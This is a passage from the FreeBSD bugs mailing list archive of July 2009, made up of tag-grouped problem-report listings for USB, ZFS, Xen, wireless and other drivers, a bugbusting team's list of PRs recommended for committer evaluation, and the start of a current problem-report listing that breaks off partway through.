TX FM fails in 6.2-RELEASE [regr o usb/107848 usb [umass] [request] cannot access Samsung flash disk o usb/107248 usb [umass] [patch] scsi_da.c quirk for Cowon iAUDIO X5 MP o usb/106648 usb [umass] [hang] USB Floppy on D1950 10 min Hang on Inse o usb/104830 usb [umass] system crashes when copying data to umass devi o usb/104645 usb [umass] [request] Rave C-201 MP3 player does not commu o usb/104292 usb [umass] [hang] system lockup on forced umount of usb-s o usb/104290 usb [umass] [patch] quirk: TOSHIBA DVD-RAM drive (libretto o usb/101752 usb [umass] [panic] 6.1-RELEASE kernel panic on usb device o usb/97175 usb [umass] [hang] USB cardreader hangs system o usb/96457 usb [umass] [panic] fatback on umass = reboot s usb/95636 usb [umass] [boot] 5 minute delay at boot when using VT620 o usb/95562 usb [umass] Write Stress in USB Mass drive causes "vinvalb o usb/95037 usb [umass] USB disk not recognized on hot-plug. o usb/93389 usb [umass] [patch] Digital Camera Pentax S60 don't work o usb/91811 usb [umass] Compact Flash in HP Photosmart 2610 return " o usb/91238 usb [umass] USB tape unit fails to write a second tape fil o usb/90700 usb [umass] [panic] Kernel panic on connect/mount/use umas o usb/89954 usb [umass] [panic] USB Disk driver race condition? o usb/86767 usb [umass] [patch] bogus "slice starts beyond end of the o usb/84326 usb [umass] Panic trying to connect SCSI tape drive via US o usb/83563 usb [umass] [panic] Page Fault while detaching Mpman Usb d s usb/82569 usb [umass] [panic] USB mass storage plug/unplug causes sy o usb/80361 usb [umass] [patch] mounting of Dell usb-stick fails o usb/78984 usb [umass] [patch] Creative MUVO umass failure o usb/77184 usb [umass] [panic] kernel panic on USB device disconnect, o usb/76653 usb [umass] [patch] Problem with Asahi Optical usb device o usb/76461 usb [umass] disklabel of umass(4)-CAM(4)-da(4) not used by s usb/75928 usb [umass] [request] Cytronix SmartMedia card (SMC) reade o usb/75764 usb [umass] [patch] "umass0: Phase Error" - no device for o usb/75705 usb [umass] [panic] da0 attach / Optio S4 (with backtrace) o usb/74771 usb [umass] [hang] mounting write-protected umass device a s usb/74453 usb [umass] [patch] Q-lity CD-RW USB ECW-043 (ScanLogic SL o usb/74211 usb [umass] USB flash drive causes CAM status 0x4 on 4.10R o usb/71455 usb [umass] Slow USB umass performance of 5.3 o usb/63621 usb [umass] [panic] USB MemoryStick Reader stalls/crashes s usb/62257 usb [umass] [request] card reader UCR-61S2B is only half-s o usb/40948 usb [umass] [request] USB HP CDW8200 does not work 68 problems total. Problem reports for tag 'umct': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/70523 usb [umct] [patch] umct sending/receiving wrong characters 1 problem total. Problem reports for tag 'umodem': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/128485 usb [umodem] [patch] Nokia N80 modem support p usb/117185 thompsa [umodem] [patch] Add support for UNION interface descr o usb/116561 usb [umodem] [panic] RELENG_6 umodem panic "trying to slee o usb/91546 usb [umodem] [patch] Nokia 6630 mobile phone does not work 4 problems total. Problem reports for tag 'ums': S Tracker Resp. Description -------------------------------------------------------------------------------- p usb/128760 cperciva [ums] [patch] patch for Microsoft Comfort Optical Mous o usb/125631 usb [ums] [panic] kernel panic during bootup while 'Logite o usb/125238 usb [ums] Habu Mouse turns off in X o usb/124604 usb [ums] Microsoft combo wireless mouse doesn't work o usb/119977 usb [ums] Mouse does not work in a Cherry-USB keyboard/mou o usb/117938 usb [ums] [patch] Adding support for MS WL Natural and MS o usb/117911 usb [ums] [request] Mouse Gembird MUSWC not work o kern/103578 [ums] ums does not recognize mouse buttons s usb/96120 usb [ums] [request] USB mouse not always detected o usb/92852 usb [ums] [patch] Vertical scroll not working properly on o usb/83756 usb [ums] [patch] Microsoft Intellimouse Explorer 4.0A doe o usb/76732 usb [ums] Mouse problems with USB KVM Switch o kern/56250 [ums] [patch] ums(4) doesn't work with MCT based PS/2 13 problems total. Problem reports for tag 'unionfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132987 daichi [unionfs] unionfs_readdir has math problem o kern/126973 daichi [unionfs] [hang] System hang with unionfs and init chr o kern/126553 daichi [unionfs] unionfs move directory problem 2 (files appe o bin/123574 daichi [unionfs] df(1) -t option destroys info for unionfs (a o kern/121385 daichi [unionfs] unionfs cross mount -> kernel panic o kern/109377 daichi [unionfs] unionfs crashes if underlying file system fo 6 problems total. Problem reports for tag 'uplcom': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/129173 usb [uplcom] [patch] Add support for Corega CG-USBRS232R a o usb/128324 usb [uplcom] [patch] remove baud rate restriction for PL23 f usb/115737 linimon [uplcom] uplcom doesn't identify my Prolific 2303 any o kern/114780 usb [uplcom] [panic] Panics while stress testing the uplco o usb/107935 usb [uplcom] [panic] panic while accessing /dev/cuaU0 o kern/95512 [uplcom] uplcom(4) causes system hangups 6 problems total. Problem reports for tag 'ural': S Tracker Resp. Description -------------------------------------------------------------------------------- f usb/133712 gavin [ural] [patch] RE: Fixed an issue with ural(4) that wa o usb/104352 usb [ural] [patch] ural driver doesnt work o usb/101096 usb [ural] [panic] USB WLAN occasionally causes kernel-pan o usb/92083 usb [ural] [panic] panic using WPA on ural NIC in 6.0-RELE o kern/88182 [ural] [wep] wep is broken in ural(4) hostap mode 5 problems total. Problem reports for tag 'urio': S Tracker Resp. Description -------------------------------------------------------------------------------- s usb/51958 usb [urio] [patch] update for urio driver 1 problem total. Problem reports for tag 'usb': S Tracker Resp. Description -------------------------------------------------------------------------------- f usb/133545 usb [usb] [panic] Kernel crash in usb2_intr_schedule_adjus p usb/132799 usb [usb][patch]GENESYS USB2IDE requires NO_SYNCHRONIZE_CA o usb/132785 usb [usb] [patch] Gemtech remote powersocket is classed as o usb/132080 usb [patch] [usb] Kernel panic after NOMEM caused by rum c o usb/130325 usb [usb] [patch] fix tools/tools/usb/print-usb-if-vids.sh p usb/129858 remko [usb] [patch] Need to add quirk to da_scsi.c to suppor o usb/129766 usb [usb] plugging in usb modem HUAWEI E226 panics system o usb/129311 usb [usb] [panic] Instant crash with an USB card reader s usb/128990 usb [usb] u3g does not handle RTS/CTS available on for exa o usb/128977 usb [usb] [patch] uaudio is not full duplex f usb/126848 usb [usb]: USB Keyboard hangs during Installation o usb/126519 usb [usb] [panic] panic when plugging in an iphone o kern/124130 geom [gmirror] [usb] gmirror fails to start usb devices tha o usb/123969 usb [usb] Supermicro H8SMi-2 usb problem: port reset faile o usb/123714 usb [usb] [panic] Panic when hald-storage-probe runs with o usb/123690 usb [usb] [panic] Panic on USB device insertion when usb l o usb/123611 usb [usb] BBB reset failed, STALLED from Imation/Mitsumi U o usb/122819 usb [usb] [patch] Patch to provide dynamic additions to th o usb/121232 usb [usb] [panic] USB CardBus card removal causes reboot s o usb/120786 usb [usb] [panic] Kernel panic when forced umount of a det o usb/119509 usb [usb] USB flaky on Dell Optiplex 755 o usb/112640 usb [usb] [hang] Kernel freezes when writing a file to an o usb/109274 usb [usb] MCP55 USB Controller fails to attach in AMD64 Cu s usb/106832 usb [usb] USB HP printer is not detected by kernel when AC o usb/106041 usb [usb] [request] FreeBSD does not recognise Mustek Bear o usb/105065 usb [ata] [usb] SATA - USB Bridge o usb/101761 usb [usb] [patch] [request] usb.h: increase maximal size o o usb/96224 usb [usb] [msdosfs] mount_msdosfs cause page fault in sync o usb/91629 usb [usb] usbd_abort_pipe() may result in infinite loop o usb/87224 usb [usb] Cannot mount USB Zip750 s usb/84336 usb [usb] [reboot] instant system reboot when unmounting a o usb/79723 usb [usb] [request] prepare for high speed isochronous tra s usb/79622 imp [usb] USB devices can be freed twice s usb/52026 usb [usb] [request] umass driver support for InSystem ISD2 o usb/30929 usb [usb] [patch] use usbd to initialize USB ADSL modem 35 problems total. Problem reports for tag 'usb2': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/134476 usb [usb2] [umass] [quirk] Add quirk for Cypress xx6830xx 1 problem total. Problem reports for tag 'usbdevs': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/135575 usb [usbdevs] [patch] Add HTC Wizard phone vid/pid informa o usb/134631 usb [usbdevs] [patch] WiSPY DBx support requires usb tweak o usb/131900 usb [usbdevs] [patch] Additional product identification co o usb/129945 usb [usbdevs] [patch] add u3g support for Longcheer WM66 U o usb/129251 usb [usbdevs] [patch] Liebert UPS being assigned uhid and o usb/128803 usb [usbdevs] [patch] Quirk for I-Tuner Networks USBLCD4X2 o usb/123352 usb [usbdevs] [patch] Add Option GTMAX3.6/7.2 and Quallcom o usb/123351 usb [usbdevs] [patch] Add Reiner SCT cyberJack, Omnikey [2 o usb/119150 remko [usbdevs] [patch] new usbdevs for CDMA 1xEVDO devices o usb/118485 usb [usbdevs] [patch] Logitech Headset Workaround o usb/115935 usb [usbdevs] [patch] kernel counterproductively attaches a usb/113060 usb [usbdevs] [patch] Samsung printer not working in bidir o usb/106861 usb [usbdevs] [patch]: usbdevs update: Add product ACER Ze o usb/69006 usb [usbdevs] [patch] Apple Cinema Display hangs USB ports 14 problems total. Problem reports for tag 'usbhid': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/116699 usb [usbhid] USB HID devices do not initialize at system b 1 problem total. Problem reports for tag 'uscanner': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/122025 usb [uscanner] [patch] uscanner does not attach to Epson R o usb/121426 usb [patch] [uscanner] add HP ScanJet 3570C o usb/117205 remko [uscanner] [patch] uscanner support for HP ScanJet 447 s usb/85067 usb [uscanner] Cannot attach ScanJet 4300C to usb device 4 problems total. Problem reports for tag 'uslcom': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/131912 usb [uslcom] [patch] New devices using Silicon Labs chips 1 problem total. Problem reports for tag 'uvisor': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/80935 usb [uvisor] [patch] uvisor.c is not work with CLIE TH55. 1 problem total. Problem reports for tag 'vesa': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134504 [vesa] thinkpad t60 with ati x1400 in vesa console mod 1 problem total. Problem reports for tag 'vfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134883 [vfs] [panic] kernel panic, superpages, vfs.lookup_sha o amd64/134786 amd64 [vfs] [patch] vfs.bufspace sysctl wideness on amd64 p kern/133439 kan [vfs] [panic] Kernel Panic in kern_vfs o kern/123392 [vfs] [lor] lock order reversal in vfs o kern/94669 pjd [vfs] [patch] Panic from Failed Removable Media Mount o kern/93942 fs [vfs] [patch] panic: ufs_dirbad: bad dir (patch from D 6 problems total. Problem reports for tag 'vga': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/125710 [vga] Dragon_Saver Error 19 Freebsd 7.0 AMD64 o kern/64114 [vga] [patch] bad vertical refresh for console using R 2 problems total. Problem reports for tag 'vge': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/129135 net [vge] vge driver on a VIA mini-ITX not working o kern/106851 [vge] vge0: MII read timed out [regression] o amd64/87316 amd64 [vge] "vge0 attach returned 6" on FreeBSD 6.0-RC1 amd6 o kern/82497 net [vge] vge(4) on AMD64 only works when loaded late, not f kern/81644 net [vge] vge(4) does not work properly when loaded as a K 5 problems total. Problem reports for tag 'viapm': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/120714 gonzo [viapm] [patch] viapm driver doesn't work on VIA VT823 1 problem total. Problem reports for tag 'vinum': S Tracker Resp. Description -------------------------------------------------------------------------------- a kern/89660 geom [vinum] [patch] [panic] due to g_malloc returning null o kern/79035 geom [vinum] gvinum unable to create a striped set of mirro o conf/47566 [vinum] [patch] add vinum status verification to perio 3 problems total. Problem reports for tag 'virtualbox': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/117681 [virtualbox] pcn fails to send packets under VirtualBo 1 problem total. Problem reports for tag 'virtualpc': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/119809 gavin [virtualpc] MS Virtual PC 2007 - Install hung - Trying 1 problem total. Problem reports for tag 'vlan': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/126874 net [vlan]: Zebra problem if ifconfig vlanX destroy o kern/121437 net [vlan] Routing to layer-2 address does not work on VLA o kern/117423 net [vlan] Duplicate IP on different interfaces 3 problems total. Problem reports for tag 'vm': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133289 [vm] [panic] DEBUG_MEMGUARD with vm.memguard.desc="dev o kern/124963 alc [vm] [patch] old pagezero fixes for alc o kern/123634 [vm] [panic] kernel panic with FreeBSD 7-STABLE o kern/123013 [vm] panic "Bad tailq NEXT(%p->tqh_last) != NULL" s kern/121485 vwe [vm] panic with 7.0-RELEASE [regression] o kern/121234 [vm] vm_fault: fault on nofault o kern/87586 [diskless] [vm] [panic] Unable to use networked swap i p kern/78179 alc [vm] [patch] bus_dmamem_alloc() with BUS_DMA_NOWAIT ca o kern/71258 alc [vm] [patch] anonymous mmappings not always page align o kern/37554 jmg [vm] [patch] make ELF shared libraries immutable once s i386/22944 alc [vm] [patch] isa_dmainit fails on machines with 512MB 11 problems total. Problem reports for tag 'vmware': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/118819 [vmware] FreeBSD 6.2 in VMware is unstable and there i o kern/109809 [vmware] CPU hits 100% when issuing the halt command ( o i386/97025 i386 [vmware] fbsd (2 cd) dont install in vmware 5.5.0 - re 3 problems total. Problem reports for tag 'vr': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/126665 yongari [vr] Integrated VIA Rhine II receive errors p kern/123961 net [vr] [patch] Allow vr interface to handle vlans a kern/109477 yongari [vr] [patch] onboard via vt6103 ethernet does not work s kern/103495 vwe [vr] if_vr locks after carrier event o kern/100499 yongari [vr] vr interface stops transmitting s kern/94390 vwe [vr] poor network performance after promiscuous mode i o kern/90890 net [vr] Problems with network: vr0: tx shutdown timeout s kern/89305 vwe [vr] [patch] D-Link NIC with VIA Rhine II, lost of Net o kern/87506 net [vr] [patch] Fix alias support on vr interfaces s kern/80265 vwe [vr] D-Link NIC with VIA Rhine II has no carrier sign o kern/71045 [rl] [vr] DHCP-Request is sets other device's ip to nu 11 problems total. Problem reports for tag 'vuxml': S Tracker Resp. Description -------------------------------------------------------------------------------- o ports/134785 novel [patch][vuxml] security/gnutls: update to 2.6.6 and do o ports/129300 obrien [vuxml] editors/vim: document CVE-2008-3432 2 problems total. Problem reports for tag 'wi': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/131776 net [wi] driver fails to init f kern/127145 net [wi]: prism (wi) driver crash at bigger traffic o kern/122319 net [wi] imposible to enable ad-hoc demo mode with Orinoco o kern/119225 net [wi] 7.0-RC1 no carrier with Prism 2.5 wifi card [regr o kern/115275 [wi] [panic] wi configure at boot time led to panic "i o kern/115002 net [wi] if_wi timeout. failed allocation (busy bit). ifco o kern/110065 [wi]: wi device cannot attach to D-Link DWL-520 rev. E o kern/109470 net [wi] Orinoco Classic Gold PC Card Can't Channel Hop o kern/107944 net [wi] [patch] Forget to unlock mutex-locks s kern/79323 [wi] authmod setup with ifconfig on dlink wlan card fa p kern/77913 net [wi] [patch] Add the APDL-325 WLAN pccard to wi(4) o kern/59183 imp [wi] wi problems with wi_cmd o kern/43625 imp [wi] wi(4) driver hangs after long data transfers o kern/39928 imp [wi] wi0 timeouts and hangs the system while sending d 14 problems total. Problem reports for tag 'wlan': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132885 net [wlan] 802.1x broken after SVN rev 189592 1 problem total. Problem reports for tag 'wlan_xauth': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/130311 net [wlan_xauth] [panic] hostapd restart causing kernel pa 1 problem total. Problem reports for tag 'wpa': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/122331 [wpa] [panic] 7.0-RELEASE && panic in Wifi area with W 1 problem total. Problem reports for tag 'wpi': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133613 net [wpi] [panic] kernel panic in wpi(4) o kern/128917 net [wpi] [panic] if_wpi and wpa+tkip causing kernel panic o kern/127102 net [wpi] Intel 3945ABG low throughput o kern/123256 net [wpi] panic: blockable sleep lock with wpi(4) o kern/121872 net [wpi] driver fails to attach on a fujitsu-siemens s711 f kern/121720 thompsa [wpi] wpi doesnt work if kernel has options SCHED_ULE o kern/120493 benjsc [wpi] if_wpi.ko fails to load on a Toshiba Satellite P 7 problems total. Problem reports for tag 'xe': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/97401 [xe] Xircom CreditCard Ethernet 10/100, attach returne o kern/85266 net [xe] [patch] xe(4) driver does not recognise Xircom XE 2 problems total. Problem reports for tag 'xen': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136271 kmacy [xen] XEN kernel fails to build on 8-CURRENT i386 o kern/136251 xen [xen] [patch] xn0 doesn't DHCP o kern/135421 xen [xen] FreeBSD Xen PVM DomU network failure - netfronc. o kern/135179 xen [xen] Xen domU does not properly reboot o kern/135178 xen [xen] Xen domU outgoing data transfer stall when TSO i o kern/135069 xen [xen] FreeBSD-current/Xen SMP doesn't function at all o kern/135008 xen [xen] FreeBSD-current/Xen timecounter jumps o kern/134926 xen [xen] [panic] FreeBSD-current Xen DomU networking pani o i386/124516 kmacy [xen] FreeBSD-CURRENT Xen Kernel Segfaults when config o kern/118734 [xen] FreeBSD 6.3-RC1 and FreeBSD 7.0-BETA 4 fail to b 10 problems total. Problem reports for tag 'xfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/119298 kan [xfs] [patch] 7-Stable/sys/modules/xfs fails to make f o kern/102943 kan [xfs] kernel crash when unloading the xfs kernel modul 2 problems total. Problem reports for tag 'xl': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/136409 yongari [xl] doesn't compile with TX checksumming enabled o kern/132669 net [xl] 3c905-TX send DUP! in reply on ping (sometime) o kern/129352 net [xl] [patch] xl0 watchdog timeout o kern/113895 net [xl] xl0 fails on 6.2-RELEASE but worked fine on 5.5-R o kern/83354 [xl] When two 3c905's are in a Vectra Vl dhcp fails to s kern/18558 silby [xl] 3COM 905B realy realy slow when using multiple ad 6 problems total. Problem reports for tag 'zfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136601 fs [zfs] tar: Couldn't list extended attributes: Read-onl o kern/136218 fs [zfs] Exported ZFS pools can't be imported into (Open) o kern/135594 fs [zfs] Single dataset unresponsive with Samba o kern/135546 fs [zfs] zfs.ko module doesn't ignore zpool.cache filenam o kern/135480 fs [zfs] panic: lock &arg.lock already initialized o bin/135314 fs [zfs] assertion failed for zdb(8) usage o kern/135050 fs [zfs] ZFS clears/hides disk errors on reboot f kern/134496 fs [zfs] [panic] ZFS pool export occasionally causes a ke o kern/134491 fs [zfs] Hot spares are rather cold... o kern/133373 fs [zfs] umass attachment causes ZFS checksum errors, dat f kern/133150 fs [zfs] Page fault with ZFS on 7.1-RELEASE/amd64 while w o kern/133134 fs [zfs] Missing ZFS zpool labels f kern/133020 fs [zfs] [panic] inappropriate panic caused by zfs. Pani o kern/132551 fs [zfs] ZFS locks up on extattr_list_link syscall o kern/132337 fs [zfs] [panic] kernel panic in zfs_fuid_create_cred f kern/132068 fs [zfs] page fault when using ZFS over NFS on 7.1-RELEAS f kern/130133 kmacy [panic] [zfs] 'kmem_map too small' caused by make clea o kern/129148 fs [zfs] [panic] panic on concurrent writing & rollback o kern/129059 fs [zfs] [patch] ZFS bootloader whitelistable via WITHOUT o kern/128633 fs [zfs] [lor] lock order reversal in zfs o kern/128514 fs [zfs] [mpt] problems with ZFS and LSILogic SAS/SATA Ad o kern/127492 fs [zfs] System hang on ZFS input-output f kern/127375 kmacy [zfs] If vm.kmem_size_max>"1073741823" then write spee f kern/126703 kmacy [panic] [zfs] _mtx_lock_sleep: recursed on non-recursi s kern/125738 fs [zfs] [request] SHA256 acceleration in ZFS o kern/125644 fs [zfs] [panic] zfs unfixable fs errors caused panic whe f kern/125413 kmacy [zfs] [panic] Panic when doing zfs raidz with gmirror f kern/125358 linimon [zfs] missing .. link in zfs snapshot f bin/124424 fs [zfs] zfs(8): zfs list -r shows strange snapshots' siz f sparc/123566 kmacy [zfs] zpool import issue: EOVERFLOW o kern/122888 fs [zfs] zfs hang w/ prefetch on, zil off while running t o kern/122173 fs [zfs] [panic] Kernel Panic if attempting to replace a o kern/121770 fs [zfs] ZFS on i386, large file or heavy I/O leads to ke o bin/121366 fs [zfs] [patch] Automatic disk scrubbing from periodic(8 o conf/120228 rc [zfs] [patch] Split ZFS volume startup / ease ZFS swap f kern/120210 kmacy [zfs] [panic] reboot after panic: solaris assert: arc_ f kern/119735 fs [zfs] geli + ZFS + samba starting on boot panics 7.0-B o misc/118855 fs [zfs] ZFS-related commands are nonfunctional in fixit o kern/118320 fs [zfs] [patch] NFS SETATTR sometimes fails to set file o kern/117943 kmacy [zfs] zfs snapshot directory could not access from NFS o kern/117158 fs [zfs] zpool scrub causes panic if geli vdevs detach on o bin/115361 fs [zfs] mount(8) gets into a state where it won't set/un o kern/113180 fs [zfs] Setting ZFS nfsshare property does not cause inh 43 problems total. Problem reports for tag 'zlib': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/118317 [zlib] [patch] Incorrect gzeof() return value in zlib o kern/43616 [zlib] [patch] static-ize some functions in sys/net/zl 2 problems total. Problem reports for tag 'zyd': S Tracker Resp. Description -------------------------------------------------------------------------------- f usb/117150 weongyo [zyd] usb zyd device under moderate load panics system 1 problem total. From owner-freebsd-bugs@FreeBSD.ORG Mon Jul 13 11:15:34 2009 Return-Path: Delivered-To: freebsd-bugs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4176910656FC; Mon, 13 Jul 2009 11:15:34 +0000 (UTC) (envelope-from owner-bugmaster@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 28E768FC22; Mon, 13 Jul 2009 11:15:34 +0000 (UTC) (envelope-from owner-bugmaster@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DBFYTe052287; Mon, 13 Jul 2009 11:15:34 GMT (envelope-from owner-bugmaster@FreeBSD.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6DBF1nj052072; Mon, 13 Jul 2009 11:15:01 GMT (envelope-from owner-bugmaster@FreeBSD.org) Date: Mon, 13 Jul 2009 11:15:01 GMT Message-Id: <200907131115.n6DBF1nj052072@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: linimon set sender to owner-bugmaster@FreeBSD.org using -f From: FreeBSD bugmaster To: freebsd-bugbusters@FreeBSD.org, freebsd-bugs@FreeBSD.org Cc: Subject: PRs recommended for committer evaluation by the bugbusting team X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-bugbusters@FreeBSD.org, freebsd-bugs@FreeBSD.org List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 11:15:39 -0000 This is an experimental report from the bugbusting team containing PRs that we think are ready for evaluation by any interested committer. The idea is to try to match up people who are interested in going through the PRs with committers that are interested in helping. It is generated from the file /home/linimon/public_html/recommended.prs on freefall. This is intended to be a highly-filtered list to see if we can get more people interested in bugbusting without being overwhelmed by the large number of PRs. An HTML version of this report is available at http://people.freebsd.org/~linimon/studies/prs/recommended_prs.html. Please give feedback on this report to linimon@FreeBSD.org. Thanks. 133786 freebsd- kern open serious high current-us [netinet] [patch] ip_input might cause kernel panic 133733 freebsd- kern suspended non-criti low current-us [pci] [patch] Incorrect record in pci_vendors for Broadcom MiniPCI-E card 133239 freebsd- kern open non-criti low current-us [ae] [jme] [patch] if_jme can assign duplicate MAC address 133110 freebsd- docs open non-criti low current-us [patch] Typo corrections for /usr/src/UPDATING 132785 freebsd- usb open non-criti low current-us [usb] [patch] Gemtech remote powersocket is classed as a HID device rather than ugen 132193 freebsd- docs open non-criti low current-us [patch] description in the malo(4) manpage incorrect 131995 freebsd- kern open serious medium current-us [nfs] Failure to mount NFSv4 server 131314 freebsd- amd64 open serious low current-us [modules] [panic] large modules fail to load on amd64 129173 freebsd- usb open non-criti low current-us [uplcom] [patch] Add support for Corega CG-USBRS232R as a serial port 128608 freebsd- kern open non-criti low current-us [pccbb] [patch] add support for powering down and up Cardbus cards 127581 freebsd- kern open non-criti low current-us [patch] [acpi_sony] Add support for more Sony features 127549 freebsd- usb suspended non-criti low current-us [umass] [patch] Meizu MiniPlayer M6 (SL) requires some quirks 127331 edwin bin analyzed non-criti medium current-us [patch] top(1) only shows cputime used by one process thread 125139 philip kern analyzed non-criti low current-us [patch] [ata] bugs in ATAPI CD tray control 124621 freebsd- kern feedback non-criti low current-us [ext3] [patch] Cannot mount ext2fs partition 124064 freebsd- kern open serious high current-us [ar] [patch] cannot handle >16 serial number with Intel MatrixRAID 121899 freebsd- kern open serious medium current-us [ar] [patch] Drive detached from Intel Matrix RAID and returned comes up as entirely new ataraid 121755 freebsd- usb open serious high current-us [ohci] [patch] Fix panic after ohci/uhub cardbus device eject 120515 freebsd- kern open non-criti low current-us [acpi] [patch] acpi_alloc_wakeup_handler: can't alloc wake memory 120073 freebsd- kern open non-criti low current-us [new driver] [patch] add support for Meinberg PCI-based GPS reference clock 118238 freebsd- kern analyzed serious medium current-us [bce] [patch] bce driver shows "no carrier" on Intel SBXD132 blade (based on IBM HS21) 118222 freebsd- kern open serious high current-us [pxeboot] [patch] FreeBSD 7.0 PXE + NFS / "Can't work out which disk we are booting from" on AMD CPU 116697 kmacy kern analyzed non-criti low current-us [net] [patch] ifconfig's name argument has no effect on /dev/net/ 116643 freebsd- bin open non-criti low current-us [patch] [request] fstat(1): add INET/INET6 socket details as in NetBSD and OpenBSD 115623 imp kern analyzed non-criti low current-us [cardbus] [patch] Xircom CardBus Ethernet II 10/100 Adapter (CBE2-100) doesn't work [regression] 115196 bushman kern open non-criti medium current-us [libc] [patch] [request] Implement getgroupmembership(3) for massive performance gain when using LDAP or Winbind 113060 freebsd- usb analyzed non-criti low current-us [usbdevs] [patch] Samsung printer not working in bidirectional mode 102834 freebsd- bin analyzed serious low current-us [patch] mail(1) hangs on the sigsuspend system call in popen.c 102211 freebsd- kern open serious high current-us [ar] [patch] detach raid member and reboot will cause panic (ICH7) 100018 freebsd- bin open non-criti low current-us [patch] newsyslog(8) does not check size if time_at is used 96840 freebsd- bin analyzed serious low current-us [libc] [patch] getgrent() does not return large groups via NIS 95459 freebsd- kern open serious high current-us Rebooting the system while rebuilding RAID (Intel MatrixRAID) results in data loss 90815 freebsd- kern analyzed serious medium current-us [smbfs] [patch] SMBFS with character conversions sometimes hangs 90687 avg bin open non-criti low current-us [patch] side effect of -delete option of find(1) 74453 freebsd- usb suspended non-criti low current-us [umass] [patch] Q-lity CD-RW USB ECW-043 (ScanLogic SL11R chipset) does not work 73337 freebsd- conf open non-criti low current-us [nsswitch.conf] [patch] potential invalid free From owner-freebsd-bugs@FreeBSD.ORG Mon Jul 13 11:06:05 2009 Return-Path: Delivered-To: freebsd-bugs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 654F21065672 for ; Mon, 13 Jul 2009 11:06:05 +0000 (UTC) (envelope-from owner-bugmaster@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 4CE428FC16 for ; Mon, 13 Jul 2009 11:06:05 +0000 (UTC) (envelope-from owner-bugmaster@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DB65bR039603 for ; Mon, 13 Jul 2009 11:06:05 GMT (envelope-from owner-bugmaster@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6DB620q039599 for freebsd-bugs@FreeBSD.org; Mon, 13 Jul 2009 11:06:02 GMT (envelope-from owner-bugmaster@FreeBSD.org) Date: Mon, 13 Jul 2009 11:06:02 GMT Message-Id: <200907131106.n6DB620q039599@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: gnats set sender to owner-bugmaster@FreeBSD.org using -f From: FreeBSD bugmaster To: FreeBSD bugs list X-Mailman-Approved-At: Mon, 13 Jul 2009 11:23:47 +0000 Cc: Subject: Current problem reports X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 11:06:05 -0000 (Note: an HTML version of this report is available at http://www.freebsd.org/cgi/query-pr-summary.cgi .) The following is a listing of current problems submitted by FreeBSD users. These represent problem reports covering all versions including experimental development code and obsolete releases. S Tracker Resp. Description -------------------------------------------------------------------------------- o ports/136710 maintainer update: drupal6-6.12 -> 6.13 o ports/136709 maintainer update: drupal5.18 -> 5.19 o ports/136707 amdmi3 [NEW PORT] www/p5-self-init: Invoke package init metho o www/136706 www New Consulting/Software consultant o gnu/136705 remove a semicolon from i386-tdep.c . o ports/136704 amdmi3 Updgrade to davical port 0.9.7 o ports/136703 amdmi3 Upgrade php-libawl to version 0.37 o ports/136702 araujo [PATCH] x11-fm/gnome-commander2: update to 1.2.8 o ports/136701 joerg devel/libbfd not properly marked as conflicting with d o ports/136699 amdmi3 [maintainer update] update editors/p5-Padre to 0.39 o ports/136698 [patch] fix ENOTCONN handling in devel/gwenhywfar (soc o ports/136697 amdmi3 